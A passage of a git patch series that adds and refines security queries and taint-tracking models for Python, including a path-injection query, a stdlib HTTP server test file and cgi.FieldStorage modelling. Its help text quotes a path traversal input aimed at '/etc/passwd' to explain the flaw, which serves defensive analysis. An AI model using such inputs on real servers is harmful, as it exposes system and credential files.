"ExFreeToPagedLookasideList", "ExFreeToNPagedLookasideList", - // --- NetBSD pool manager - "pool_put", "pool_cache_put" - ]) and - freedArg = 1 - or - hasGlobalOrStdName(["HeapFree", "HeapReAlloc"]) and - freedArg = 2 - ) + "CRYPTO_free", "CRYPTO_secure_free" + ]) and + freedArg = 0 + or + hasGlobalOrStdName([ + // --- Windows Memory Management for Windows Drivers + "ExFreePoolWithTag", "ExDeleteTimer", "IoFreeMdl", "IoFreeWorkItem", "IoFreeErrorLogEntry", + "MmFreeContiguousMemory", "MmFreeContiguousMemorySpecifyCache", "MmFreeNonCachedMemory", + "MmFreeMappingAddress", "MmFreePagesFromMdl", "MmUnmapReservedMapping", + "MmUnmapLockedPages", + // --- Windows Global / Local legacy allocation + "LocalFree", "GlobalFree", "LocalReAlloc", "GlobalReAlloc", + // --- Windows System Services allocation + "VirtualFree", + // --- Windows COM allocation + "CoTaskMemFree", "CoTaskMemRealloc", + // --- Windows Automation + "SysFreeString", + // --- Linux kernel memory allocator + "kmem_free" + ]) and + freedArg = 0 + or + hasGlobalOrStdName([ + // --- Windows Memory Management for Windows Drivers + "ExFreeToLookasideListEx", "ExFreeToPagedLookasideList", "ExFreeToNPagedLookasideList", + // --- NetBSD pool manager + "pool_put", "pool_cache_put" + ]) and + freedArg = 1 + or + hasGlobalOrStdName(["HeapFree", "HeapReAlloc"]) and + freedArg = 2 } override int getFreedArg() { result = freedArg } From fba16d24de432563edac2a822bf297a16de1efb5 Mon Sep 17 00:00:00 2001 From: Rasmus Wriedt Larsen Date: Tue, 8 Dec 2020 11:26:04 +0100 Subject: [PATCH 0186/1241] Python: Bring back Path Injection query Which was accidentially removed when resolving a merge conflict. --- .../ql/src/Security/CWE-022/PathInjection.ql | 24 +++++++++++++++++++ 1 file changed, 24 insertions(+) create mode 100644 python/ql/src/Security/CWE-022/PathInjection.ql diff --git a/python/ql/src/Security/CWE-022/PathInjection.ql b/python/ql/src/Security/CWE-022/PathInjection.ql new file mode 100644 index 00000000000..9d67d9b734c --- /dev/null +++ b/python/ql/src/Security/CWE-022/PathInjection.ql @@ -0,0 +1,24 @@ +/** + * @name Uncontrolled data used in path expression + * @description Accessing paths influenced by users can allow an attacker to access unexpected resources. + * @kind path-problem + * @problem.severity error + * @sub-severity high + * @precision high + * @id py/path-injection + * @tags correctness + * security + * external/owasp/owasp-a1 + * external/cwe/cwe-022 + * external/cwe/cwe-023 + * external/cwe/cwe-036 + * external/cwe/cwe-073 + * external/cwe/cwe-099 + */ + +import python +import semmle.python.security.dataflow.PathInjection + +from CustomPathNode source, CustomPathNode sink +where pathInjection(source, sink) +select sink, source, sink, "This path depends on $@.", source, "a user-provided value" From 976559889fdf0a7ece5b844b7ce4c10170c43a78 Mon Sep 17 00:00:00 2001 From: Rasmus Wriedt Larsen Date: Tue, 8 Dec 2020 11:34:44 +0100 Subject: [PATCH 0187/1241] Python: Reword qhelp text Co-authored-by: Felicity Chapman --- python/ql/src/Security/CWE-022/PathInjection.qhelp | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/python/ql/src/Security/CWE-022/PathInjection.qhelp b/python/ql/src/Security/CWE-022/PathInjection.qhelp index fbcb60c26fa..ed12b74b6d9 100644 --- a/python/ql/src/Security/CWE-022/PathInjection.qhelp +++ b/python/ql/src/Security/CWE-022/PathInjection.qhelp @@ -43,7 +43,7 @@ In the second example, it appears that the user is restricted to opening a file special characters. For example, the string "../../../etc/passwd" will result in the code reading the file located at "/server/static/images/../../../etc/passwd", which is the system's password file. This file would then be sent back to the user, giving them access to all the -system's passwords. Note that it is still possible to use an absolute path, since the result of +system's passwords. Note that a user could also use an absolute path here, since the result of os.path.join("/server/static/images/", "/etc/passwd") is "/etc/passwd".

    From 43688715f5824ea2b0aa5bbea4414818abf0daf3 Mon Sep 17 00:00:00 2001 From: Rasmus Wriedt Larsen Date: Tue, 24 Nov 2020 18:05:12 +0100 Subject: [PATCH 0188/1241] Python: Add test of stdlib HTTP server facilities Just a port of the old tests, except for the fact that I learned `cgi.FieldStorage()` _should_ be tainted when not specifying any arguments. (and moved taint-test to own function) Also clarified how imports of all the .*HTTPRequestHandler works in Python2 --- .../frameworks/stdlib/TestTaint.expected | 33 +++++ .../frameworks/stdlib/TestTaint.ql | 7 + .../frameworks/stdlib/http_server.py | 122 ++++++++++++++++++ 3 files changed, 162 insertions(+) create mode 100644 python/ql/test/experimental/library-tests/frameworks/stdlib/http_server.py diff --git a/python/ql/test/experimental/library-tests/frameworks/stdlib/TestTaint.expected b/python/ql/test/experimental/library-tests/frameworks/stdlib/TestTaint.expected index d3f29e592e3..e122d9f3a76 100644 --- a/python/ql/test/experimental/library-tests/frameworks/stdlib/TestTaint.expected +++ b/python/ql/test/experimental/library-tests/frameworks/stdlib/TestTaint.expected @@ -2,3 +2,36 @@ | CodeExecution.py:36 | ok | test_additional_taint | cmd1 | | CodeExecution.py:37 | ok | test_additional_taint | cmd2 | | CodeExecution.py:38 | ok | test_additional_taint | cmd3 | +| http_server.py:22 | fail | test_cgi_FieldStorage_taint | form | +| http_server.py:24 | fail | test_cgi_FieldStorage_taint | form['key'] | +| http_server.py:25 | fail | test_cgi_FieldStorage_taint | form['key'].value | +| http_server.py:26 | fail | test_cgi_FieldStorage_taint | form['key'].file | +| http_server.py:27 | fail | test_cgi_FieldStorage_taint | form['key'].filename | +| http_server.py:28 | fail | test_cgi_FieldStorage_taint | form['key'][0] | +| http_server.py:29 | fail | test_cgi_FieldStorage_taint | form['key'][0].value | +| http_server.py:30 | fail | test_cgi_FieldStorage_taint | form['key'][0].file | +| http_server.py:31 | fail | test_cgi_FieldStorage_taint | form['key'][0].filename | +| http_server.py:32 | fail | test_cgi_FieldStorage_taint | ListComp | +| http_server.py:34 | fail | test_cgi_FieldStorage_taint | form.getvalue(..) | +| http_server.py:35 | fail | test_cgi_FieldStorage_taint | form.getvalue(..)[0] | +| http_server.py:37 | fail | test_cgi_FieldStorage_taint | form.getfirst(..) | +| http_server.py:39 | fail | test_cgi_FieldStorage_taint | form.getlist(..) | +| http_server.py:40 | fail | test_cgi_FieldStorage_taint | form.getlist(..)[0] | +| http_server.py:41 | fail | test_cgi_FieldStorage_taint | ListComp | +| http_server.py:50 | fail | taint_sources | self | +| http_server.py:52 | fail | taint_sources | self.requestline | +| http_server.py:54 | fail | taint_sources | self.path | +| http_server.py:56 | fail | taint_sources | self.headers | +| http_server.py:57 | fail | taint_sources | self.headers['Foo'] | +| http_server.py:58 | fail | taint_sources | self.headers.get(..) | +| http_server.py:59 | fail | taint_sources | self.headers.get_all(..) | +| http_server.py:60 | fail | taint_sources | self.headers.keys() | +| http_server.py:61 | fail | taint_sources | self.headers.values() | +| http_server.py:62 | fail | taint_sources | self.headers.items() | +| http_server.py:63 | fail | taint_sources | self.headers.as_bytes() | +| http_server.py:64 | fail | taint_sources | self.headers.as_string() | +| http_server.py:65 | fail | taint_sources | str(..) | +| http_server.py:66 | fail | taint_sources | bytes(..) | +| http_server.py:68 | fail | taint_sources | self.rfile | +| http_server.py:69 | fail | taint_sources | self.rfile.read() | +| http_server.py:78 | fail | taint_sources | form | diff --git a/python/ql/test/experimental/library-tests/frameworks/stdlib/TestTaint.ql b/python/ql/test/experimental/library-tests/frameworks/stdlib/TestTaint.ql index f722b1edb18..37faa83aa2d 100644 --- a/python/ql/test/experimental/library-tests/frameworks/stdlib/TestTaint.ql +++ b/python/ql/test/experimental/library-tests/frameworks/stdlib/TestTaint.ql @@ -1,2 +1,9 @@ import experimental.dataflow.tainttracking.TestTaintLib import semmle.python.dataflow.new.RemoteFlowSources + +class WithRemoteFlowSources extends TestTaintTrackingConfiguration { + override predicate isSource(DataFlow::Node source) { + super.isSource(source) or + source instanceof RemoteFlowSource + } +} diff --git a/python/ql/test/experimental/library-tests/frameworks/stdlib/http_server.py b/python/ql/test/experimental/library-tests/frameworks/stdlib/http_server.py new file mode 100644 index 00000000000..33a3594894f --- /dev/null +++ b/python/ql/test/experimental/library-tests/frameworks/stdlib/http_server.py @@ -0,0 +1,122 @@ +import sys +import os +import cgi + +if sys.version_info[0] == 2: + from BaseHTTPServer import BaseHTTPRequestHandler + from BaseHTTPServer import HTTPServer + from SimpleHTTPServer import SimpleHTTPRequestHandler + from CGIHTTPServer import CGIHTTPRequestHandler + +if sys.version_info[0] == 3: + from http.server import HTTPServer, BaseHTTPRequestHandler, SimpleHTTPRequestHandler, CGIHTTPRequestHandler + + +def test_cgi_FieldStorage_taint(): + # When a python script is invoked through CGI, the default values used by + # `cgi.FieldStorage` constructor makes it handle data from incoming request. + # You _can_ also manually set the input-data, as is shown below in `MyHandler`. + form = cgi.FieldStorage() + + ensure_tainted( + form, + + form['key'], # will be a list, if multiple fields named "key" are provided + form['key'].value, + form['key'].file, + form['key'].filename, + form['key'][0], + form['key'][0].value, + form['key'][0].file, + form['key'][0].filename, + [field.value for field in form['key']], + + form.getvalue('key'), # will be a list, if multiple fields named "key" are provided + form.getvalue('key')[0], + + form.getfirst('key'), + + form.getlist('key'), + form.getlist('key')[0], + [field.value for field in form.getlist('key')], + ) + + +class MyHandler(BaseHTTPRequestHandler): + + def taint_sources(self): + + ensure_tainted( + self, + + self.requestline, + + self.path, + + self.headers, + self.headers['Foo'], + self.headers.get('Foo'), + self.headers.get_all('Foo'), + self.headers.keys(), + self.headers.values(), + self.headers.items(), + self.headers.as_bytes(), + self.headers.as_string(), + str(self.headers), + bytes(self.headers), + + self.rfile, + self.rfile.read(), + ) + + form = cgi.FieldStorage( + self.rfile, + self.headers, + environ={'REQUEST_METHOD': 'POST', 'CONTENT_TYPE': self.headers.get('content-type')}, + ) + + ensure_tainted(form) + + + def do_GET(self): + # send_response will log a line to stderr + self.send_response(200) + self.send_header("Content-type", "text/plain; charset=utf-8") + self.end_headers() + self.wfile.write(b"Hello BaseHTTPRequestHandler\n") + self.wfile.writelines([b"1\n", b"2\n", b"3\n"]) + print(self.headers) + + + def do_POST(self): + form = cgi.FieldStorage( + self.rfile, + self.headers, + environ={'REQUEST_METHOD': 'POST', 'CONTENT_TYPE': self.headers.get('content-type')}, + ) + + if 'myfile' not in form: + self.send_response(422) + self.end_headers() + return + + field = form['myfile'] + + field.file.seek(0, os.SEEK_END) + filesize = field.file.tell() + + print("Uploaded {!r} with {} bytes".format(field.filename, filesize)) + + self.send_response(200) + self.end_headers() + + +if __name__ == "__main__": + server = HTTPServer(("127.0.0.1", 8080), MyHandler) + server.serve_forever() + + # Headers works case insensitvely, so self.headers['foo'] == self.headers['FOO'] + # curl localhost:8080 --header "Foo: 1" --header "foo: 2" + + # To test file submission through forms, use + # curl -F myfile=@ localhost:8080 From 34863721f09f21e5e2c598e14dc2725dc0052a35 Mon Sep 17 00:00:00 2001 From: Rasmus Wriedt Larsen Date: Tue, 24 Nov 2020 18:30:11 +0100 Subject: [PATCH 0189/1241] Python: Model `cgi.FieldStorage` --- .../src/semmle/python/frameworks/Stdlib.qll | 199 ++++++++++++++++++ .../frameworks/stdlib/TestTaint.expected | 30 +-- 2 files changed, 214 insertions(+), 15 deletions(-) diff --git a/python/ql/src/semmle/python/frameworks/Stdlib.qll b/python/ql/src/semmle/python/frameworks/Stdlib.qll index 21050bc9c6f..c93cae03cd0 100644 --- a/python/ql/src/semmle/python/frameworks/Stdlib.qll +++ b/python/ql/src/semmle/python/frameworks/Stdlib.qll @@ -1032,6 +1032,205 @@ private module Stdlib { override string getFormat() { result = "JSON" } } + + // --------------------------------------------------------------------------- + // cgi + // --------------------------------------------------------------------------- + /** Gets a reference to the `cgi` module. */ + private DataFlow::Node cgi(DataFlow::TypeTracker t) { + t.start() and + result = DataFlow::importNode("cgi") + or + exists(DataFlow::TypeTracker t2 | result = cgi(t2).track(t2, t)) + } + + /** Gets a reference to the `cgi` module. */ + DataFlow::Node cgi() { result = cgi(DataFlow::TypeTracker::end()) } + + /** Provides models for the `cgi` module. */ + module cgi { + /** + * Provides models for the `cgi.FieldStorage` class + * + * See https://docs.python.org/3/library/cgi.html. + */ + module FieldStorage { + /** Gets a reference to the `cgi.FieldStorage` class. */ + private DataFlow::Node classRef(DataFlow::TypeTracker t) { + t.startInAttr("FieldStorage") and + result = cgi() + or + exists(DataFlow::TypeTracker t2 | result = classRef(t2).track(t2, t)) + } + + /** Gets a reference to the `cgi.FieldStorage` class. */ + DataFlow::Node classRef() { result = classRef(DataFlow::TypeTracker::end()) } + + /** + * A source of an instance of `cgi.FieldStorage`. + * + * This can include instantiation of the class, return value from function + * calls, or a special parameter that will be set when functions are call by external + * library. + * + * Use `FieldStorage::instance()` predicate to get references to instances of `cgi.FieldStorage`. + */ + abstract class InstanceSource extends DataFlow::Node { } + + /** + * A direct instantiation of `cgi.FieldStorage`. + * + * We currently consider ALL instantiations to be `RemoteFlowSource`. This seems + * reasonable since it's used to parse form data for incoming POST requests, but + * if it turns out to be a problem, we'll have to refine. + */ + private class ClassInstantiation extends InstanceSource, RemoteFlowSource::Range, + DataFlow::CfgNode { + override CallNode node; + + ClassInstantiation() { node.getFunction() = classRef().asCfgNode() } + + override string getSourceType() { result = "cgi.FieldStorage" } + } + + /** Gets a reference to an instance of `cgi.FieldStorage`. */ + private DataFlow::Node instance(DataFlow::TypeTracker t) { + t.start() and + result instanceof InstanceSource + or + exists(DataFlow::TypeTracker t2 | result = instance(t2).track(t2, t)) + } + + /** Gets a reference to an instance of `cgi.FieldStorage`. */ + DataFlow::Node instance() { result = instance(DataFlow::TypeTracker::end()) } + + /** Gets a reference to the `getvalue` method on a `cgi.FieldStorage` instance. */ + private DataFlow::Node getvalueRef(DataFlow::TypeTracker t) { + t.startInAttr("getvalue") and + result = instance() + or + exists(DataFlow::TypeTracker t2 | result = getvalueRef(t2).track(t2, t)) + } + + /** Gets a reference to the `getvalue` method on a `cgi.FieldStorage` instance. */ + DataFlow::Node getvalueRef() { result = getvalueRef(DataFlow::TypeTracker::end()) } + + /** Gets a reference to the result of calling the `getvalue` method on a `cgi.FieldStorage` instance. */ + private DataFlow::Node getvalueResult(DataFlow::TypeTracker t) { + t.start() and + result.asCfgNode().(CallNode).getFunction() = getvalueRef().asCfgNode() + or + exists(DataFlow::TypeTracker t2 | result = getvalueResult(t2).track(t2, t)) + } + + /** Gets a reference to the result of calling the `getvalue` method on a `cgi.FieldStorage` instance. */ + DataFlow::Node getvalueResult() { result = getvalueResult(DataFlow::TypeTracker::end()) } + + /** Gets a reference to the `getfirst` method on a `cgi.FieldStorage` instance. */ + private DataFlow::Node getfirstRef(DataFlow::TypeTracker t) { + t.startInAttr("getfirst") and + result = instance() + or + exists(DataFlow::TypeTracker t2 | result = getfirstRef(t2).track(t2, t)) + } + + /** Gets a reference to the `getfirst` method on a `cgi.FieldStorage` instance. */ + DataFlow::Node getfirstRef() { result = getfirstRef(DataFlow::TypeTracker::end()) } + + /** Gets a reference to the result of calling the `getfirst` method on a `cgi.FieldStorage` instance. */ + private DataFlow::Node getfirstResult(DataFlow::TypeTracker t) { + t.start() and + result.asCfgNode().(CallNode).getFunction() = getfirstRef().asCfgNode() + or + exists(DataFlow::TypeTracker t2 | result = getfirstResult(t2).track(t2, t)) + } + + /** Gets a reference to the result of calling the `getfirst` method on a `cgi.FieldStorage` instance. */ + DataFlow::Node getfirstResult() { result = getfirstResult(DataFlow::TypeTracker::end()) } + + /** Gets a reference to the `getlist` method on a `cgi.FieldStorage` instance. */ + private DataFlow::Node getlistRef(DataFlow::TypeTracker t) { + t.startInAttr("getlist") and + result = instance() + or + exists(DataFlow::TypeTracker t2 | result = getlistRef(t2).track(t2, t)) + } + + /** Gets a reference to the `getlist` method on a `cgi.FieldStorage` instance. */ + DataFlow::Node getlistRef() { result = getlistRef(DataFlow::TypeTracker::end()) } + + /** Gets a reference to the result of calling the `getlist` method on a `cgi.FieldStorage` instance. */ + private DataFlow::Node getlistResult(DataFlow::TypeTracker t) { + t.start() and + result.asCfgNode().(CallNode).getFunction() = getlistRef().asCfgNode() + or + exists(DataFlow::TypeTracker t2 | result = getlistResult(t2).track(t2, t)) + } + + /** Gets a reference to the result of calling the `getlist` method on a `cgi.FieldStorage` instance. */ + DataFlow::Node getlistResult() { result = getlistResult(DataFlow::TypeTracker::end()) } + + /** Gets a reference to a list of fields. */ + private DataFlow::Node fieldList(DataFlow::TypeTracker t) { + t.start() and + ( + result = getlistResult() + or + result = getvalueResult() + or + // TODO: Should have better handling of subscripting + result.asCfgNode().(SubscriptNode).getObject() = instance().asCfgNode() + ) + or + exists(DataFlow::TypeTracker t2 | result = fieldList(t2).track(t2, t)) + } + + /** Gets a reference to a list of fields. */ + DataFlow::Node fieldList() { result = fieldList(DataFlow::TypeTracker::end()) } + + /** Gets a reference to a field. */ + private DataFlow::Node field(DataFlow::TypeTracker t) { + t.start() and + ( + result = getfirstResult() + or + result = getvalueResult() + or + // TODO: Should have better handling of subscripting + result.asCfgNode().(SubscriptNode).getObject() = [instance(), fieldList()].asCfgNode() + ) + or + exists(DataFlow::TypeTracker t2 | result = field(t2).track(t2, t)) + } + + /** Gets a reference to a field. */ + DataFlow::Node field() { result = field(DataFlow::TypeTracker::end()) } + + private class AdditionalTaintStep extends TaintTracking::AdditionalTaintStep { + override predicate step(DataFlow::Node nodeFrom, DataFlow::Node nodeTo) { + // Methods + nodeFrom = instance() and + nodeTo in [getvalueRef(), getfirstRef(), getlistRef()] + or + nodeFrom = getvalueRef() and nodeTo = getvalueResult() + or + nodeFrom = getfirstRef() and nodeTo = getfirstResult() + or + nodeFrom = getlistRef() and nodeTo = getlistResult() + or + // Indexing + nodeFrom in [instance(), fieldList()] and + nodeTo.asCfgNode().(SubscriptNode).getObject() = nodeFrom.asCfgNode() + or + // Attributes on Field + nodeFrom = field() and + exists(DataFlow::AttrRead read | nodeTo = read and read.getObject() = nodeFrom | + read.getAttributeName() in ["value", "file", "filename"] + ) + } + } + } + } } // --------------------------------------------------------------------------- diff --git a/python/ql/test/experimental/library-tests/frameworks/stdlib/TestTaint.expected b/python/ql/test/experimental/library-tests/frameworks/stdlib/TestTaint.expected index e122d9f3a76..0a9b55d6792 100644 --- a/python/ql/test/experimental/library-tests/frameworks/stdlib/TestTaint.expected +++ b/python/ql/test/experimental/library-tests/frameworks/stdlib/TestTaint.expected @@ -2,21 +2,21 @@ | CodeExecution.py:36 | ok | test_additional_taint | cmd1 | | CodeExecution.py:37 | ok | test_additional_taint | cmd2 | | CodeExecution.py:38 | ok | test_additional_taint | cmd3 | -| http_server.py:22 | fail | test_cgi_FieldStorage_taint | form | -| http_server.py:24 | fail | test_cgi_FieldStorage_taint | form['key'] | -| http_server.py:25 | fail | test_cgi_FieldStorage_taint | form['key'].value | -| http_server.py:26 | fail | test_cgi_FieldStorage_taint | form['key'].file | -| http_server.py:27 | fail | test_cgi_FieldStorage_taint | form['key'].filename | -| http_server.py:28 | fail | test_cgi_FieldStorage_taint | form['key'][0] | -| http_server.py:29 | fail | test_cgi_FieldStorage_taint | form['key'][0].value | -| http_server.py:30 | fail | test_cgi_FieldStorage_taint | form['key'][0].file | -| http_server.py:31 | fail | test_cgi_FieldStorage_taint | form['key'][0].filename | +| http_server.py:22 | ok | test_cgi_FieldStorage_taint | form | +| http_server.py:24 | ok | test_cgi_FieldStorage_taint | form['key'] | +| http_server.py:25 | ok | test_cgi_FieldStorage_taint | form['key'].value | +| http_server.py:26 | ok | test_cgi_FieldStorage_taint | form['key'].file | +| http_server.py:27 | ok | test_cgi_FieldStorage_taint | form['key'].filename | +| http_server.py:28 | ok | test_cgi_FieldStorage_taint | form['key'][0] | +| http_server.py:29 | ok | test_cgi_FieldStorage_taint | form['key'][0].value | +| http_server.py:30 | ok | test_cgi_FieldStorage_taint | form['key'][0].file | +| http_server.py:31 | ok | test_cgi_FieldStorage_taint | form['key'][0].filename | | http_server.py:32 | fail | test_cgi_FieldStorage_taint | ListComp | -| http_server.py:34 | fail | test_cgi_FieldStorage_taint | form.getvalue(..) | -| http_server.py:35 | fail | test_cgi_FieldStorage_taint | form.getvalue(..)[0] | -| http_server.py:37 | fail | test_cgi_FieldStorage_taint | form.getfirst(..) | -| http_server.py:39 | fail | test_cgi_FieldStorage_taint | form.getlist(..) | -| http_server.py:40 | fail | test_cgi_FieldStorage_taint | form.getlist(..)[0] | +| http_server.py:34 | ok | test_cgi_FieldStorage_taint | form.getvalue(..) | +| http_server.py:35 | ok | test_cgi_FieldStorage_taint | form.getvalue(..)[0] | +| http_server.py:37 | ok | test_cgi_FieldStorage_taint | form.getfirst(..) | +| http_server.py:39 | ok | test_cgi_FieldStorage_taint | form.getlist(..) | +| http_server.py:40 | ok | test_cgi_FieldStorage_taint | form.getlist(..)[0] | | http_server.py:41 | fail | test_cgi_FieldStorage_taint | ListComp | | http_server.py:50 | fail | taint_sources | self | | http_server.py:52 | fail | taint_sources | self.requestline | @@ -34,4 +34,4 @@ | http_server.py:66 | fail | taint_sources | bytes(..) | | http_server.py:68 | fail | taint_sources | self.rfile | | http_server.py:69 | fail | taint_sources | self.rfile.read() | -| http_server.py:78 | fail | taint_sources | form | +| http_server.py:78 | ok | taint_sources | form | From ba1ca7085815d0b8799babfece53aafb04c202aa Mon Sep 17 00:00:00 2001 From: Rasmus Wriedt Larsen Date: Tue, 8 Dec 2020 13:51:35 +0100 Subject: [PATCH 0190/1241] Python: Add source modeling of stdlib HTTPRequestHandlers --- .../src/semmle/python/frameworks/Stdlib.qll | 333 ++++++++++++++++++ .../frameworks/stdlib/TestTaint.expected | 22 +- 2 files changed, 344 insertions(+), 11 deletions(-) diff --git a/python/ql/src/semmle/python/frameworks/Stdlib.qll b/python/ql/src/semmle/python/frameworks/Stdlib.qll index c93cae03cd0..e3e7ba47048 100644 --- a/python/ql/src/semmle/python/frameworks/Stdlib.qll +++ b/python/ql/src/semmle/python/frameworks/Stdlib.qll @@ -1231,6 +1231,339 @@ private module Stdlib { } } } + + // --------------------------------------------------------------------------- + // BaseHTTPServer (Python 2 only) + // --------------------------------------------------------------------------- + /** Gets a reference to the `BaseHTTPServer` module. */ + private DataFlow::Node baseHTTPServer(DataFlow::TypeTracker t) { + t.start() and + result = DataFlow::importNode("BaseHTTPServer") + or + exists(DataFlow::TypeTracker t2 | result = baseHTTPServer(t2).track(t2, t)) + } + + /** Gets a reference to the `BaseHTTPServer` module. */ + DataFlow::Node baseHTTPServer() { result = baseHTTPServer(DataFlow::TypeTracker::end()) } + + /** Provides models for the `BaseHTTPServer` module. */ + module BaseHTTPServer { + /** + * Provides models for the `BaseHTTPServer.BaseHTTPRequestHandler` class (Python 2 only). + */ + module BaseHTTPRequestHandler { + /** Gets a reference to the `BaseHTTPServer.BaseHTTPRequestHandler` class. */ + private DataFlow::Node classRef(DataFlow::TypeTracker t) { + t.start() and + result = DataFlow::importNode("BaseHTTPServer" + "." + "BaseHTTPRequestHandler") + or + t.startInAttr("BaseHTTPRequestHandler") and + result = baseHTTPServer() + or + exists(DataFlow::TypeTracker t2 | result = classRef(t2).track(t2, t)) + } + + /** Gets a reference to the `BaseHTTPServer.BaseHTTPRequestHandler` class. */ + DataFlow::Node classRef() { result = classRef(DataFlow::TypeTracker::end()) } + } + } + + // --------------------------------------------------------------------------- + // SimpleHTTPServer (Python 2 only) + // --------------------------------------------------------------------------- + /** Gets a reference to the `SimpleHTTPServer` module. */ + private DataFlow::Node simpleHTTPServer(DataFlow::TypeTracker t) { + t.start() and + result = DataFlow::importNode("SimpleHTTPServer") + or + exists(DataFlow::TypeTracker t2 | result = simpleHTTPServer(t2).track(t2, t)) + } + + /** Gets a reference to the `SimpleHTTPServer` module. */ + DataFlow::Node simpleHTTPServer() { result = simpleHTTPServer(DataFlow::TypeTracker::end()) } + + /** Provides models for the `SimpleHTTPServer` module. */ + module SimpleHTTPServer { + /** + * Provides models for the `SimpleHTTPServer.SimpleHTTPRequestHandler` class (Python 2 only). + */ + module SimpleHTTPRequestHandler { + /** Gets a reference to the `SimpleHTTPServer.SimpleHTTPRequestHandler` class. */ + private DataFlow::Node classRef(DataFlow::TypeTracker t) { + t.start() and + result = DataFlow::importNode("SimpleHTTPServer" + "." + "SimpleHTTPRequestHandler") + or + t.startInAttr("SimpleHTTPRequestHandler") and + result = simpleHTTPServer() + or + exists(DataFlow::TypeTracker t2 | result = classRef(t2).track(t2, t)) + } + + /** Gets a reference to the `SimpleHTTPServer.SimpleHTTPRequestHandler` class. */ + DataFlow::Node classRef() { result = classRef(DataFlow::TypeTracker::end()) } + } + } + + // --------------------------------------------------------------------------- + // CGIHTTPServer (Python 2 only) + // --------------------------------------------------------------------------- + /** Gets a reference to the `CGIHTTPServer` module. */ + private DataFlow::Node cgiHTTPServer(DataFlow::TypeTracker t) { + t.start() and + result = DataFlow::importNode("CGIHTTPServer") + or + exists(DataFlow::TypeTracker t2 | result = cgiHTTPServer(t2).track(t2, t)) + } + + /** Gets a reference to the `CGIHTTPServer` module. */ + DataFlow::Node cgiHTTPServer() { result = cgiHTTPServer(DataFlow::TypeTracker::end()) } + + /** Provides models for the `CGIHTTPServer` module. */ + module CGIHTTPServer { + /** + * Provides models for the `CGIHTTPServer.CGIHTTPRequestHandler` class (Python 2 only). + */ + module CGIHTTPRequestHandler { + /** Gets a reference to the `CGIHTTPServer.CGIHTTPRequestHandler` class. */ + private DataFlow::Node classRef(DataFlow::TypeTracker t) { + t.start() and + result = DataFlow::importNode("CGIHTTPServer" + "." + "CGIHTTPRequestHandler") + or + t.startInAttr("CGIHTTPRequestHandler") and + result = cgiHTTPServer() + or + exists(DataFlow::TypeTracker t2 | result = classRef(t2).track(t2, t)) + } + + /** Gets a reference to the `CGIHTTPServer.CGIHTTPRequestHandler` class. */ + DataFlow::Node classRef() { result = classRef(DataFlow::TypeTracker::end()) } + } + } + + // --------------------------------------------------------------------------- + // http (Python 3 only) + // --------------------------------------------------------------------------- + /** Gets a reference to the `http` module. */ + private DataFlow::Node http(DataFlow::TypeTracker t) { + t.start() and + result = DataFlow::importNode("http") + or + exists(DataFlow::TypeTracker t2 | result = http(t2).track(t2, t)) + } + + /** Gets a reference to the `http` module. */ + DataFlow::Node http() { result = http(DataFlow::TypeTracker::end()) } + + /** + * Gets a reference to the attribute `attr_name` of the `http` module. + * WARNING: Only holds for a few predefined attributes. + */ + private DataFlow::Node http_attr(DataFlow::TypeTracker t, string attr_name) { + attr_name in ["server"] and + ( + t.start() and + result = DataFlow::importNode("http" + "." + attr_name) + or + t.startInAttr(attr_name) and + result = http() + ) + or + // Due to bad performance when using normal setup with `http_attr(t2, attr_name).track(t2, t)` + // we have inlined that code and forced a join + exists(DataFlow::TypeTracker t2 | + exists(DataFlow::StepSummary summary | + http_attr_first_join(t2, attr_name, result, summary) and + t = t2.append(summary) + ) + ) + } + + pragma[nomagic] + private predicate http_attr_first_join( + DataFlow::TypeTracker t2, string attr_name, DataFlow::Node res, DataFlow::StepSummary summary + ) { + DataFlow::StepSummary::step(http_attr(t2, attr_name), res, summary) + } + + /** + * Gets a reference to the attribute `attr_name` of the `http` module. + * WARNING: Only holds for a few predefined attributes. + */ + private DataFlow::Node http_attr(string attr_name) { + result = http_attr(DataFlow::TypeTracker::end(), attr_name) + } + + /** Provides models for the `http` module. */ + module http { + // ------------------------------------------------------------------------- + // http.server + // ------------------------------------------------------------------------- + /** Gets a reference to the `http.server` module. */ + DataFlow::Node server() { result = http_attr("server") } + + /** Provides models for the `http.server` module */ + module server { + /** + * Gets a reference to the attribute `attr_name` of the `http.server` module. + * WARNING: Only holds for a few predefined attributes. + */ + private DataFlow::Node server_attr(DataFlow::TypeTracker t, string attr_name) { + attr_name in ["BaseHTTPRequestHandler", "SimpleHTTPRequestHandler", "CGIHTTPRequestHandler"] and + ( + t.start() and + result = DataFlow::importNode("http.server" + "." + attr_name) + or + t.startInAttr(attr_name) and + result = server() + ) + or + // Due to bad performance when using normal setup with `server_attr(t2, attr_name).track(t2, t)` + // we have inlined that code and forced a join + exists(DataFlow::TypeTracker t2 | + exists(DataFlow::StepSummary summary | + server_attr_first_join(t2, attr_name, result, summary) and + t = t2.append(summary) + ) + ) + } + + pragma[nomagic] + private predicate server_attr_first_join( + DataFlow::TypeTracker t2, string attr_name, DataFlow::Node res, + DataFlow::StepSummary summary + ) { + DataFlow::StepSummary::step(server_attr(t2, attr_name), res, summary) + } + + /** + * Gets a reference to the attribute `attr_name` of the `http.server` module. + * WARNING: Only holds for a few predefined attributes. + */ + private DataFlow::Node server_attr(string attr_name) { + result = server_attr(DataFlow::TypeTracker::end(), attr_name) + } + + /** + * Provides models for the `http.server.BaseHTTPRequestHandler` class (Python 3 only). + * + * See https://docs.python.org/3.9/library/http.server.html#http.server.BaseHTTPRequestHandler. + */ + module BaseHTTPRequestHandler { + /** Gets a reference to the `http.server.BaseHTTPRequestHandler` class. */ + DataFlow::Node classRef() { result = server_attr("BaseHTTPRequestHandler") } + } + + /** + * Provides models for the `http.server.SimpleHTTPRequestHandler` class (Python 3 only). + * + * See https://docs.python.org/3.9/library/http.server.html#http.server.SimpleHTTPRequestHandler. + */ + module SimpleHTTPRequestHandler { + /** Gets a reference to the `http.server.SimpleHTTPRequestHandler` class. */ + DataFlow::Node classRef() { result = server_attr("SimpleHTTPRequestHandler") } + } + + /** + * Provides models for the `http.server.CGIHTTPRequestHandler` class (Python 3 only). + * + * See https://docs.python.org/3.9/library/http.server.html#http.server.CGIHTTPRequestHandler. + */ + module CGIHTTPRequestHandler { + /** Gets a reference to the `http.server.CGIHTTPRequestHandler` class. */ + DataFlow::Node classRef() { result = server_attr("CGIHTTPRequestHandler") } + } + } + } + + /** + * Provides models for the `BaseHTTPRequestHandler` class and subclasses. + * + * See + * - https://docs.python.org/3.9/library/http.server.html#http.server.BaseHTTPRequestHandler + * 